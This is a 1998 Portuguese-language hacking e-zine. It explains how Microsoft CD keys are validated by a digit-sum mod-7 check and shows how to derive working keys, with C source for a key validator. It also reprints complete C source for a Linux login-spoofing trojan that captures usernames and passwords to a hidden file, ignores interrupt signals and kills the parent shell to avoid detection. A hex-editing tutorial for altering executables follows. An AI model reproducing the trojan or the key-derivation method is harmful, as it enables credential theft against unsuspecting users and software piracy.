▄▄██ ▓ ▄▄██ █▄▄▄█
▒ ▀ ▒ ▓█ ▀ ▓█▀▓ ██▒
░ ▓██▄ ▒█ █ ▒██▒ ██░
▒ ▄█▓ ▒▓█ ▄ ░██ █▀ ░
▓███▄▄▀▒▒ ░▒████▒ ░▒███▒█▄
▒ ▒▓▒ ▒ ░ ░░ ▒░ ░ ░░ ▓▒░ ▒
░ ░▒ ░ ░ ░ ░ ░ ░ ▒░ ░
░ ░ ░ ░ ░ ░
░ ░ ░ ░
███▄ ▄█▀█▓ ▄▄▄ ▄▄██ ▄▄██ ██▓ █▀▒ █▓ ▓ ▄▄██
▓██▒▀█▀ ██▒ ▒▄▀ █▄ ▒ ▀ ▒ ▒ ▀ ▒ ▓Ì█▒ ▓██░ █▒ ▓█ ▀
▓██ ▓█ ░ ▒██ ▀█▄ ░ ▓██▄ ░ ▓██▄ ▒ █▒ ▓▀▄ █▒░ ▒█ █
▒██ ▒ ░▄█▄▄▄▄██ ▒ ▄█▓ ▒ ▄█▓ ░Ì ░ ▒██ █░░ ▒▓█ ▄
▒▄█▒ ░ █▒ ▓█ ▓██▒ ▓███▄▄▀▒▒ ▓███▄▄▀▒▒ ░Ì█░ ▒▀█ ░ ░▒████▒
░ ▒░ ░ ░ ▒▒ ▓▒█░ ▒ ▒▓▒ ▒ ░ ▒ ▒▓▒ ▒ ░ ░▓ ░ Ì ░ ░░ ▒░ ░
░ ░ ░ ▒ ▒▒ ░ ░ ░▒ ░ ░ ░ ░▒ ░ ░ ▒ ░ ░ ░░ ░ ░ ░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ▒ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
░
▓ ▄▄██ ▓███████▒ ██▓ █▄ ▄ ▓ ▄▄██
▓█ ▀ ▒ ▒ █░ ▓Ì█▒ ██ ▀█ █ ▓█ ▀
▒█ █ ░ █████ ░ ▒ █▒ ▓██ ▀█ ██▒ ▒█ █
▒▓█ ▄ █ ▓ ░Ì ░ ▓██▒ Ì ██▒ ▒▓█ ▄
░▒████▒ ▒▀▄▄▄▄██▓ ░Ì█░ ▒██░ ▓██░ ░▒████▒
░░ ▒░ ░ ░▒▒ ▓░▒░▒ ░▓ ░ ▒░ ▒ ▓ ░░ ▒░ ░
░ ░ ░ ░░▒ ▒ ░ ▒ ▒ ░ ░ ░░ ░ ▒░ ░ ░ ░
░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░
░
SeQ MaSsÎvE® E-Zine N#2 Maio/1998
┌╔═ ═╗┐
│║ DISCLAIMER ║│
└╚═ ═╝┘
Sempre o mesmo Blá, Blá Blá... mas é preciso, e quem tem Zine ou sempre
ta soltando textos pela Net sabe muito bem disso... Há muita coisa envolvida
nisso. Bom, Esta E-zine foi feita, fundada etc.. etc.. por SeQ MaSsÎvE e é
TOTALMENTE Proibida a cópia ou roubo do material contido aqui !!! Também
NÃO me responssabilizo por mau uso do material contido aqui, tanto é que ja
tive muita paciência com "Alguns" que arrebentaram o proprio PC e veio por
a culpa em mim !
Me Deixa muito PUTO, de na primeira semana de lançamento da Zine, ja
colocaram textos que faz parte da Zine em outras Home Pages... Não vou
sair brigando com estes caras e não vou citar nomes, telefone, e nem o
RG da pessoa que fez isso, mas.. quero alertar àos meus leitores que a
SeQ MaSsÎvE® E-Zine você só encontra em (http://www.terravista.pt/Meco/1840).
┌╔═ ═╗┐
│║ DISCLAIMER DO TEXTO CD KEYS ║│
└╚═ ═╝┘
Este Texto foi TOTALMENTE escrito por SeQ MaSsÎvE® e é TOTALMENTE PROIBIDO
o roubo de Informações contidas nele! Além de ser somente educacional, não
quero que a Microsoft do Brasil venha reclamar, pois não pirateio CD's e isto
é considerado uma pesquisa sem efeitos prejudicativos para a própria.
CASO, E SOMENTE CASO TENHA UMA ZINE, QUE POR SUA VEZ TRATA-SE DE HACKING, E
QUEIRA COLOCAR ESTE TEXTO NELA, BASTA ENTRAM EM CONTATO, TORNANDO ASSIM MAIS
FACÍL A CIRCULAÇÃO DAS INFORMAÇÕES EM BOAS MÃOS NO BRASIL.
CONTATO: ICQ UIN: 1292685
E-MAIL: seq@bestway.com.br e seq_puc@hotmail.com
┌╔═ ═╗┐
│║ NESTA ZINE... ║│
└╚═ ═╝┘
INDICE:
1 root:Tgvv9s338hhs97:0:0:/root:/bin/bash
Galera pra que Indice se vc's vão ler a Zine INTEIRINHA ????
Vamo nessa....
program Zine-2;
uses crt, DOS;
var
Textos: string[+ q 255, hehe!];
mais textos: text;
begin
clrscr; {Limpando a tela, ooop'z'z}
TUDO SOBRE AS...
▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄
█▄▄▄▄▄▄█ █▄▄▄▄▄█ █ █ █▄█ █▄▄▄▄▄█ █ █ █ █ █▄▄▄▄▄█
▄▄▄ ▄▄▄ ▄▄▄ █ █▄▄▄▄▄ ▄▄▄▄▄▄ █ █▄▄▄█ █ ▄▄▄▄▄▄▄
███ ███ ███ ██▄▄▄▄▄▀▄ ██▄▄▄█ █▄▄▄█▄▄▄█ █▄▄▄▄██
███ ███ ███ ███ ███ ███ ███ ███
██▀▀▀▀▀█ ██▀▀▀▀██ ███ ███ ██▀▀▀▀█ ███ █▀▀▀▀██
▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀▀▀▀▀ ▀▀▀ ▀▀▀▀▀▀▀
By SeQ MaSsÎvE® 1998 - Todos os Direitos Reservados...
O Bill Gates perde mais um ponto com a comunidade hacking, após a
descoberta das CD Keys dos maióres softwares da Microsoft, eu SeQ MaSsÎvE®,
depois de 3 semanas pesquisando o caso de perto, com amigos lá fora, venho,
ou melhor trasmito para a galera Brasileira "Ô Terra Boa !!!", neste TXT,
Tudo sobre este fato!
Na página da Microsoft (http://www.microsoft.com), o próprio suporte,
revela que o tipo de criptografia usada nas CD Keys, é muito fácil de ser
burlada, isso para usuarios avançados, e Crackers com um simple Hexa Editor.
Mas não revela que, além deste método, um pouco dificil, existe um outro
método, mais fácil que abrir uma garrafa descartável de coca-cola...
>Há dois tipos de CD Keys<
A primeira é formada de 10 digitos e contém valores numéricos de 0 a 9.
Exemplo do formato do Microsoft Windows 96 Atualização:
XXX-XXXXXXX
Agora a BOMBA no Bill, além de por dia ser pirateados mais de 1 Milhão de
Softwares com a marca Microsoft, ele perde mais essa:
Os três primeiros digitos são LIXO, quando vc digita uma CD-Key, estes
três primeiros digitos podem ser quaisquer número. Os outros sete digitos são
a Chave Criptografada.
Veja no esquema abaixo um exemplo mais claro dessa façanha.
Exemplo: XXX-1292685 <-- heheh, Gostaram do numerinho ?
|_| |_____|
| |
LIXO |
CD KEY CRIPTOGRAFADA
Antes de finalizar com a descoberta, veja o segundo tipo de chave do Bill.
Ela é formada por 20 Digitos, sendo 3 digitos fixo, ou seja, OEM Sigla de
contrato, mais 17 números que podem ser de 0 a 9.
->>OU SEJA, O BILL ESPERTÃO, SIMPLESMENTE ACRECENTOU MAIS LIXO ÀS CD KEYS<<-
Chamados de Microsoft OEM CD Keys, vc pode ver no esquema abaixo, aonde
o Bill acrescentou mais lixos!
Exemplo: XXXXX-OEM-0123456-XXXXX
|_______| |_____| |___|
| | |
| CD KEY |
|_______________|
|
|
LIXO
BUUMM, Os 7 digitos que compõe a real CD Key, pode ter combinações
contrárias, além de "as vezes" usar a mesma chave para varios programas do
nosso amigão aííííí !!
Exemplos:
Usando uma chave ORIGINAL Microsoft, vc's podem compreender melhor:
Não posso dar o nome do produto, para não causar conflitos futuros com a
Microsoft do Brasil.
Product ID: 10597-OEM-0021443-43712
|_____|
|
CD KEY VÁLIDA.
Criando uma CD Key Válida apartir de uma Original:
Product ID: 10597-OEM-0021443-43712 <- Original
LIXO!-OEM-3441200-LIXO! <- Chave válida
Claro que no lugar o LIXO! vc deve copiar a do original !
Percebe-se que invertendo a chave original obtem-se uma válida para ser
usada em qualquer produto Microsoft.
E MAIS !!!! As CD Keys, originais ou válidas podem ser usadas em outros
produtos Microsoft, que moleza hein ??? Este texto foi pesquisado depois de
eu quase perder um trabalho, pq tava sem o Excel, e tava com o Office na mão,
mas sem a CD Key dele, tentei editar tudo é quando arquivo, abrir os compac-
tados, e depois de muita raiva, a ultima alternativa que tive foi pegar o
Contrato de Licença da merda do Windows95 e coloquei no OEM do Office, e
Pronto, tava aceita a CD Key, Viva !!! uhuhu !
IMPORTANTE: As rotinas usadas pela microsoft em senhas e CD Keys é baseada
em XOR ou SUM. Sendo que a usada aqui foi uma rotina SUM, podendo não valer
para CD's que contém rotina XOR.
Comunicando-se com a Damaged Cybernetics, sobre mais informações sobre o
ocorrido "E que trampo que tive, a sorte foi um amigo no ICQ, que de fato
não quer ser divulgado aqui de jeito nenhum, e tem motivos..., é super
camarada dos caras !!!" Conseguimos um Source Code em C++ de um programa que
por sua vez é TOTALMENTE ILEGAL E PROIBIDO O USO PARA PIRATEAR SOFTWARES,
ALÉM DISSO, LEIA ATENTAMENTE O DISCLAIMER DESTA ZINE ANTES DE TERMINÁ-LO.
CASO TENHA IGNORADO ESTA PARTE.
+corte+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++corte+
/*
This source code contains a authentication routine that will
validate Microsoft CD Keys. It is meant that this source code
is a learning tool and not a PIRACY tool. It is also meant to
show how a large corporation like Microsoft spend MILLIONS of
dollars on development and come up with this protection scheme.
*BorlandC 3.1 was used to compile this successfully.
It is a crime to redistribute these routines in a commercial
venture of any kind without permission or licensing agreement.
C)opyright 1995 Damaged Cybernetics
If you have any questions or comments, please contact the
following ppl via the Internet:
Donald Moore (MindRape) mind@goodnet.com
Donald Staheli (Royce) staheli@goodnet.com
Web Page: www.goodnet.com/%7Estaheli
*/
#include
#include
#include
#include
/* Prototypes */
void help(void);
char ValidateCDKey(char *szKey);
/* definitions for ValidateCDKey function */
#define VALID_KEY 1 /* Yes this is a valid key */
#define INVALID_KEY 0 /* No this is not a valid key */
#define INVALID_CHAR -1 /* This key contains invalid characters */
#define INVALID_LENGTH -2 /* This key is the incorrect length */
/* Length of a Microsoft CD Key, this include the hyphen! */
#define MS_CD_KEY_LENGTH 11 /* XXX-0123456 */
#define OEM_CD_KEY_LENGTH 23 /* XXXXX-OEM-0123456-XXXXX */
#define REAL_KEY_LENGTH 7 /* length of the key is really 7 chars! */
#define REAL_MS_OFFSET 4 /* The MS CD REAL Key offset */
#define REAL_OEM_OFFSET 10 /* The OEM CD Real Key offset */
/*
char ValidateCDKey(char *szKey)
ENT: szKey - Char - Key to validate
RET: VALID_KEY - The key is valid
INVALID_KEY - The key is invalid
INVALID_LENGTH - The key is not a valid CD Key length
INVALID_CHAR - The key contains invalid characters
ValidateCDKey will take either a Microsoft or a Microsoft OEM CD Key
and verify of it's a authentic CD Key which can be used to unlock their
software when installing.
*/
char ValidateCDKey (char *szKey)
{
unsigned long ulCheckSum = 0L; /* Hold our checksum value here */
int iStrLength; /* Length of the CD Key */
int i = 0; /* dummy counter */
iStrLength = strlen(szKey);
/* is the key the correct length? */
if (iStrLength != MS_CD_KEY_LENGTH && iStrLength != OEM_CD_KEY_LENGTH)
return INVALID_LENGTH;
/* now move the pointer to the start of the REAL key */
szKey += iStrLength == MS_CD_KEY_LENGTH ? REAL_MS_OFFSET :
REAL_OEM_OFFSET;
/* now loop thru the CD Key, adding each digit to each other
* and then mod it by 7. If it's 0 we have a valid key!
*
* btw this routine can be optimized! It is written for sake of
* clairity.
*/
while (i < REAL_KEY_LENGTH)
{
if (isdigit(*szKey))
{
/* convert each char to it's actual decimal value by
* subtracting 48 and keep accumlating the values
*/
ulCheckSum += ((int) *szKey - 48);
}
else
return INVALID_CHAR; /* we hit a NON numeric character */
szKey++;
i++;
}
if (!(ulCheckSum % 7))
return VALID_KEY; /* This IS a valid Microsoft CD Key */
return INVALID_KEY; /* This IS NOT a valid Microsoft CD Key */
}
void help(void)
{
printf("This program will verify whether the CD Key you are using is a\n"
"a valid Microsoft CD Key. It is not meant to endorse PIRACY, but\n"
"to show a big company like Microsoft who has spent millions of\n"
"dollars and came up with this routine.\n"
"\nUsage: CDKey \n"
" i.e. Microsoft CD Key - CDKey 012-0123456\n"
" i.e. OEM CD Key - CDKey 01234-OEM-012345-01234\n"
);
exit(0);
}
void main(int argc,char *argv[])
{
puts("Microsoft CD Key Validation\n(C) 1995 Damaged Cybernetics (www.goodnet.com/%7Estaheli)\n");
if (argc != 2) /* opps user didn't pass any parameters */
help();
switch (ValidateCDKey(argv[1]))
{
case INVALID_CHAR : puts("This key is either not formatted properly or contains alphanumeric characters.");
break;
case INVALID_LENGTH : puts("This key is neither a valid length for a Microsoft or a OEM CD Key.");
break;
case INVALID_KEY : puts("This is NOT a valid Microsoft CD Key.");
break;
case VALID_KEY : puts("This is a VALID Microsoft CD Key.");
break;
}
}
+corte+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++corte+
É isso ai Galera Rule'z leitores !!! espero que tenha gostado da explica-
ção, e tenham entendido que não é pra sair pirateando CD's do Bill com CD Keys
falsas, ainda + que isso pode dar cadeia'z na certa !!
TEXTO EDUCACIONAL !!!
┌╔═ ═╗┐
│║ NOTICIAS - E-MAIL - NOVIDADES - BESTEIRAS - ETC ║│
└╚═ ═╝┘
Neste #2 tem Noticias e Novidades, "Para alguns", é isso ai... poucos
souberam que ando tendo contato com o pessoal da .pt zine de Portugal, mas
especificamente com o Secretos, além do pessoal de lá serem muito gente fina,
e muito cool, me trataram muito muito bem, e fico muito grato por eles terem
colocado um artigo meu na .pt zine 02... Como é sempre bom apresentar seus
projetos para o pessoal mais avançado, eu tive a permissão de colocar um
artigo deles por aqui !!!
Vocês ja estão cansados de saber o que é Cavalos de Tróia, mas muitos ainda
não sabem nem o que é Cavalo, uhuh !!
Escolhi o Texto do Elektro sobre cavalos de tróia que explica muito bem o
que é e, para o pessoal avançado, ele coloca um Source em C Shell para Linux
Rule'z para compreender melhor o que é isso !!!
Let'z See iT'
Cavalos de Tróia
-----------------
by Elektro
Kaotik Team (http://www.complex-x.net/kaotik)
Aqui ha uns tempos recebemos um mail, que nos perguntava, o que é um cavalo
de Tróia, como funciona, se resulta...
Aqui vai:
Um cavalo de Tróia, é um pequeno e simples programa, que funciona tem como
principal objectivo, simular o ecrã de login de um sistema. Ou seja, é um
programa, que esta a correr numa conta normal, mas que possui o interface
da sessão de login, que vemos, quando nos ligamos ao sistema...o objectivo
é enganar o utilizador que vai utilizar a maquina a seguir a nós,(nós pomos
o cavalo de Tróia a correr e o desgraçado, que virá a seguir, muito
inocentemente, tentará entrar para a sua área, escrevendo o seu login e a
sua password,nos campos do nosso cavalo de Tróia,...que registará tudo num
ficheiro, na área onde corre o programa!!:)))
São geralmente, programas simples, pequenos, que não requerem muitos
conhecimentos de programação, e os erros são faceis de detectar!!
No mínimo pode-se dizer que sao programas "divertidos", pois estar a
observar a nossa obra a actuar, é demais!:))
Existem porem, alguns pontos a ter em consideração, ao fazer um cavalo de
troia: proteger o programa dos sinais, tais como o Ctrl-c, ou Ctrl-z, que são
os mais conhecidos,...e arranjar maneira de no final, o programa feche a área
onde esta a correr (obvio, para quem não quer ser apanhado), e aqui e que
complica mais um bocado, mas existe uma maneira, que na minha opinião e a
mais segura: será a de fazer um kill ao processo pai, do nosso programa!!!
Na practica isto é, fazer um kill a shell, logo uma VERDADEIRA sessão de
login iniciara! No entanto, no meio de isto tudo, o cavalo de troia,
äpanhou"o login e a password a um pobre infeliz (teoricamente)!
Para exemplificar, fiz um ësboço"de um cavala de Tróia, com os pontos mais
básicos, e mais essenciais: (continua..)
-----------------------------CORTE POR AQUI-----------------------------------
#include
#include
#include
#include
#define ERRO "Login incorrect"
char *getpass();
char login[14],
*password;
int PPID;
FILE *fich_output;
void main(int argc, char *argv[]){
signal(SIGINT, SIG_IGN); /* protege o programa dos sinais
signal(SIGTSTP, SIG_IGN); Ctrl-c e Ctrl-z */
if( argc<2 ){
printf("\nUso: %s \n", argv[0]);
exit(0);
}
system("clear");
/* cria um ciclo enquanto o login for nulo */
while(strlen(login)==0){
printf("\n%s login: ",argv[1]);
gets(login);
}
printf("Password: ");
password=getpass(); /* desliga o echo para o stdout */
if((fich_output=fopen(".pw_log","a"))==NULL) {
puts("\nErro de ficheiro\n");
exit(0);
}
fprintf(fich_output,"Login: %s ,password: %s\n", login,
password);
puts(ERRO);
PPID=getppid(); /* retorna o PID da shell */
kill(PPID,9);
}
----------------------------CORTE POR AQUI------------------------------------
(continuação...)
como é obvio este cavalo de Tróia e para sistemas linux!
É obvio também que isto e um cavalo de troia "pobrezinho",...será sempre bom
melhorar o aspecto gráfico do output do programa (que e fácil, e os próprios
iniciantes em programacao conseguem faze-lo!).
Outra coisa importante, é reparar como protegi o programa dos sinais Ctrl-c,
e Ctrl-z...porque senão corríamos o risco de vermos a nossa área exposta, se
a vitima é mais esperta que nós!!Uma ideia sera tentar proteger o programa
para o maior numero possível de sinais!!
Para no final encerrar a nossa área, para fazer um kill a shell, ou ao
processo pai, usei a função getppid, para obter o Parent Process Id, e no
final enviei o sinal 9, que e o kill,...e quando o programa termina, em vez
de retornar a shell, como esta "morreu", corre uma verdadeira sessão de login.
Para aumentar a segurança, o ficheiro para onde são registados os resultados
do cavalo de Tróia e um ficheiro oculto (.pw_log)...outras precauções,
poderão ser tomadas, se por exemplo ao compilar o programa lhe der o atributo
de ocul- to...(para quem nao sabe, isto consegue-se se o primeiro caracter
do nome do ficheiro for '.'!
O ciclo criado enquanto o login for nulo, prevê a vitima faca qualquer coisa
como fazer return em "branco"...
Para acabar,...resta dizer que para "receber" a password, usei a função
getpass, declarada no header pwd.h,...esta função redireciona o output.
Podia-se ter usado a função stty do sistema...façam, quem estiver em Linux,
man stty.
Mais uma vez friso, que estes programas devem-se aproximar o máximo da
realidade de cada maquina...ao correr este programa o 2 argumento deve ser o
nome da maquina host, na rede.
Valeu'z Elektro
[]'z a Kaotik Team (Portugal - http://www.complex-x.net/kaotik)
┌╔═ ═╗┐
│║ O PERIGO DO HEXA DECIMAL By SeQ MaSsÎvE® ║│
└╚═ ═╝┘
Atualizado Especialmente para a Zine#02
Vou explicar agora o que um Hacker pode fazer com programas que você
costuma baixar para testar, como Nukes,IrcScripts etc..
Ates vou explicar rapidamente o que são números Hexadecimais:
São números que representa um determinado espaço dentro de seu computador,
um determinado caracter q o computador consiga entender. Se você pensa que
quando você digita a letra A em seu teclado, o computador entende como A,
você esta enganado. Bom, não vou explicar o que é Hexadecimal aqui nem a pau,
só o que devem saber é que os números hexadecimais são representado da
seguinte forma:
Hexadecimal Base 16 [ 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F]
Portanto o número 10 em Hexa é A o 11 é B e etc...
Mas e daí ??? O que o cara faz com os programas usando esse monte de
numeros ???
Ele altera os programas que costuma baixar, vou dar um exemplo simples de
alterar somente os caracteres ASCII de um programa executavel (.EXE ou .COM).
O Programa que vou usar para explicar este procedimento de alteração é o
IP Query , um programa que mostra seu IP e seu NetBios.
Os Programadores usam um editor Hexadecimal para alterar programas, que nem
se quer são deles. Mas com um objetivo, Ganhar dinheiro em cima disso, ou
seja, programadores o escambal.... os Hackers, mas também não é Um IP Query e
nem programas que estão acostumado a ver, são Programas Roubados, ou Projetos
Roubados. Vou usar um programa comum para explicar e alertar você !
Começando a alterar um código, mas como ??
Usa-se um Editor de Hexadecimal para isto, existem vários pela Net. O mais
usado é o Hexawork Shop que se encontra para Download em:
http://www.bosoft.com .
Ao abrir o programa voce se depara com varios códigos Hexadecimais. irei
explicar o metodo "básico" de se alterar somente a parte ASCII do programa.
Procura-se pela palavra que queira alterar, exemplo "IP Query"
00018D10 4950 2051 7565 7279 0000 0000 5365 7520 IP Query....Seu <-- AQUI
00018D20 2049 5020 4164 6472 6573 7300 4E6F 6D65 IP Address.Nome
00018D30 2064 6F20 486F 7374 2020 0000 4E6F 2049 do Host ..No I
00018D40 5020 4164 6472 6573 7320 6173 7369 676E P Address assign
00018D50 6564 0000 4357 696E 4170 7000 0000 0000 ed..CWinApp.....
Para alterar você deve seguir os seguintes passos:
1 - Usar o mesmo espaço para alterar;
2 - Nunca sobrescrever palavras fora dos numeros de Bytes que contém os
caracteres:
Exemplo:
IP Query
12345678
Para alterar para outra palavra, usa-se os mesmos campos, PS: Contando com
o espaço, que para a maquina significa também um caracter. Digamos então
que queira alterar para Alterado,
IP Query
12345678
Alterado
12345678
Usou todos os campos e não ultrapassou o número de bytes do programa.
Veja agora a alteração como ficará no Editor !!
>>>>>>>ORIGINAL !!!
00018D10 4950 2051 7565 7279 0000 0000 5365 7520 IP Query....Seu
00018D20 2049 5020 4164 6472 6573 7300 4E6F 6D65 IP Address.Nome
00018D30 2064 6F20 486F 7374 2020 0000 4E6F 2049 do Host ..No I
00018D40 5020 4164 6472 6573 7320 6173 7369 676E P Address assign
00018D50 6564 0000 4357 696E 4170 7000 0000 0000 ed..CWinApp.....
>>>>>>>ALTERADO !!!
00018D10 4950 2051 7565 7279 0000 0000 5365 7520 Alterado....Seu
00018D20 2049 5020 4164 6472 6573 7300 4E6F 6D65 IP Idiota .Nome
00018D30 2064 6F20 486F 7374 2020 0000 4E6F 2049 da Puta ..No I
00018D40 5020 4164 6472 6573 7320 6173 7369 676E P Address assign
00018D50 6564 0000 4357 696E 4170 7000 0000 0000 ed..CWinApp.....
Palavras alteradas:
IP Query -> Alterado
IP Address -> IP Idiota (Nota-se q aqui usei um espaço no final)
Nome do Host -> Nome da Puta
Nota-se que nunca se pode exeder o numero de bytes do programa, ao executá-lo
após a alteração irá ocorrer erro !
Ao rodar o programa irá notar que no Menu as palavras, ou os Caracteres ASCII
forão alterados !!!
ATENÇÃO: Este programa foi escrito por David Terracino e foi usado somente
para demostração de como se alterar programas executaveis usando um editor
Hexadecimal.
DISCLAIMER 2: Este Texto pode ser considerado um texto Anarchy, portanto a
prática destas informações podem causar varios Danos Morais à quem faz,
podendo até ser multado ou até mesmo preso por roubo de Direitos Autorais
presente nos programas, ... Vamos com calma galera!! o négocio é sério !!!
Sobre este Texto:
Editado em 14 de março de 1998 por SeQ MaSsÎvE(r) Para Kamikaze Productions
Atualizado em 15 de Maio de 1998 por SeQ MaSsÎvE(r) Para a SeQ MaSsÎvE®
E-zine #02.
E-mail: seq@bestway.com.br
seq_pucc@hotmail.com
Todos os direitos reservados do Produtor.
IP Query V 1.6 foi escrito por David Terracino tiamat@warwick.net
Aguarde a #03 Galera'z Valeu'z !
┌╔═ ═╗┐
│║ SOBRE ESTA ZINE ║│
└╚═ ═╝┘
Ésta Zine foi feita por SeQ MaSsÎvE® e tem como objetivo, mostrar tudo o
que diz a respeito de Programação e Hacking. É Totalmente proibido a retirada
ou publicação não autorizada desta Zine!
STAFF #02
TUDO SOBRE AS...
▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄
█▄▄▄▄▄▄█ █▄▄▄▄▄█ █ █ █▄█ █▄▄▄▄▄█ █ █ █ █ █▄▄▄▄▄█
▄▄▄ ▄▄▄ ▄▄▄ █ █▄▄▄▄▄ ▄▄▄▄▄▄ █ █▄▄▄█ █ ▄▄▄▄▄▄▄
███ ███ ███ ██▄▄▄▄▄▀▄ ██▄▄▄█ █▄▄▄█▄▄▄█ █▄▄▄▄██
███ ███ ███ ███ ███ ███ ███ ███
██▀▀▀▀▀█ ██▀▀▀▀██ ███ ███ ██▀▀▀▀█ ███ █▀▀▀▀██
▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀▀▀▀▀ ▀▀▀ ▀▀▀▀▀▀▀
Feito por
By SeQ MaSsÎvE® 1998 - Todos os Direitos Reservados...
UIN: 1292685
Mail'z: seq@bestway.com.br 0u seq_puc@hotmail.com
┌╔═ ═╗┐
│║ NOTICIAS - E-MAIL - NOVIDADES - BESTEIRAS - ETC ║│
└╚═ ═╝┘
Matéria especial !!
Cavalos de Tróia
-----------------
by Elektro
Kaotik Team (http://www.complex-x.net/kaotik)
┌╔═ ═╗┐
│║ O PERIGO DO HEXA DECIMAL By SeQ MaSsÎvE® ║│
└╚═ ═╝┘
Atualizado Especialmente para a Zine#02
UIN: Ta tudo ali em cima !!
E-mail'z: Também !!
┌╔═ ═╗┐
│║ IMPORTANTE - CADASTRO, TEXTOS E MIRROR SITE ║│
└╚═ ═╝┘
Bom, como teve muita gente que não entendeu como receber a revista por
E-mail'z, vou repetir a mesma parte sobre isso na #02.
CADASTRO DO LEITOR:
Se você é leitor desta E-zine e gostaria de Receber Mail'z com as novidades
e a propria Zine pelo correio, basta me enviar um E-mail com o seguinte
Subject: LEITOR SEQ MASSIVE E-ZINE, no corpo da menssagem, envie seu
Nome(Opcional), Nick, Idade, E-mail, Home Page(Opcional).
PS: Se não tiver os dados obrigatórios NÃO vou mandar !!!
Obrigado por ler a SeQ MaSsÎvE® E-Zine Número 1. hehe e a #02 Tb!
Valeu'z
TEXTOS:
Para Participar e enviar textos proprios ou não, mande para
seq@bestway.com.br com o seguintes itens nescessários !!!
- O TEXTO !!!!
- IMPORTANTISSIMO -->>> O AUTOR ORIGINAL DO TEXTO !!!
- SEU NICK !!!
- SEU E-MAIL (Se não quiser que apareça seu Mail na Zine, coloque isso na Msg)
MIRROR:
Quem for Interessado em fazer um Mirror da Zine em sua própria Home Page
Mande, um E-mail com o Endereço da Home Page, Seu Nick, e aguarde a Resposta
por E-mail, com os Html's nescessários para o Mirror !!!
PS: Não faça Mirror por Conta PRóPriA !!!!!!!!!!!!!!!!!!!!!!!!!!
DESCULPA MULTIPLA:
+ Uma vez, estou devendo textos Phreack pra Vc'z, caros Leitores !!!!
Isso Devido ao Problema citado em cima, ou o Texto estava sem o Nick, ou
Sem o nome do Autor Original !! Só é aceito textos ORIGINAIS, pois ja
na primeira Zine tive confusão e conflito com os proprios autores dos txt's
e isso não pode acontecer denovo... VALEU'Z GALERA !!!
Comentários sobre a Zine: seq@bestway.com.br
See Ya na #03 !! Em BREVE !!!!!!!!
▄▄██ ▓ ▄▄██ █▄▄▄█
▒ ▀ ▒ ▓█ ▀ ▓█▀▓ ██▒
░ ▓██▄ ▒█ █ ▒██▒ ██░
▒ ▄█▓ ▒▓█ ▄ ░██ █▀ ░
▓███▄▄▀▒▒ ░▒████▒ ░▒███▒█▄
▒ ▒▓▒ ▒ ░ ░░ ▒░ ░ ░░ ▓▒░ ▒
░ ░▒ ░ ░ ░ ░ ░ ░ ▒░ ░
░ ░ ░ ░ ░ ░
░ ░ ░ ░
███▄ ▄█▀█▓ ▄▄▄ ▄▄██ ▄▄██ ██▓ █▀▒ █▓ ▓ ▄▄██
▓██▒▀█▀ ██▒ ▒▄▀ █▄ ▒ ▀ ▒ ▒ ▀ ▒ ▓Ì█▒ ▓██░ █▒ ▓█ ▀
▓██ ▓█ ░ ▒██ ▀█▄ ░ ▓██▄ ░ ▓██▄ ▒ █▒ ▓▀▄ █▒░ ▒█ █
▒██ ▒ ░▄█▄▄▄▄██ ▒ ▄█▓ ▒ ▄█▓ ░Ì ░ ▒██ █░░ ▒▓█ ▄
▒▄█▒ ░ █▒ ▓█ ▓██▒ ▓███▄▄▀▒▒ ▓███▄▄▀▒▒ ░Ì█░ ▒▀█ ░ ░▒████▒
░ ▒░ ░ ░ ▒▒ ▓▒█░ ▒ ▒▓▒ ▒ ░ ▒ ▒▓▒ ▒ ░ ░▓ ░ Ì ░ ░░ ▒░ ░
░ ░ ░ ▒ ▒▒ ░ ░ ░▒ ░ ░ ░ ░▒ ░ ░ ▒ ░ ░ ░░ ░ ░ ░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ▒ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
░
▓ ▄▄██ ▓███████▒ ██▓ █▄ ▄ ▓ ▄▄██
▓█ ▀ ▒ ▒ █░ ▓Ì█▒ ██ ▀█ █ ▓█ ▀
▒█ █ ░ █████ ░ ▒ █▒ ▓██ ▀█ ██▒ ▒█ █
▒▓█ ▄ █ ▓ ░Ì ░ ▓██▒ Ì ██▒ ▒▓█ ▄
░▒████▒ ▒▀▄▄▄▄██▓ ░Ì█░ ▒██░ ▓██░ ░▒████▒
░░ ▒░ ░ ░▒▒ ▓░▒░▒ ░▓ ░ ▒░ ▒ ▓ ░░ ▒░ ░
░ ░ ░ ░░▒ ▒ ░ ▒ ▒ ░ ░ ░░ ░ ▒░ ░ ░ ░
░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░
░
SeQ MaSsÎvE® E-Zine N#2 Maio/1998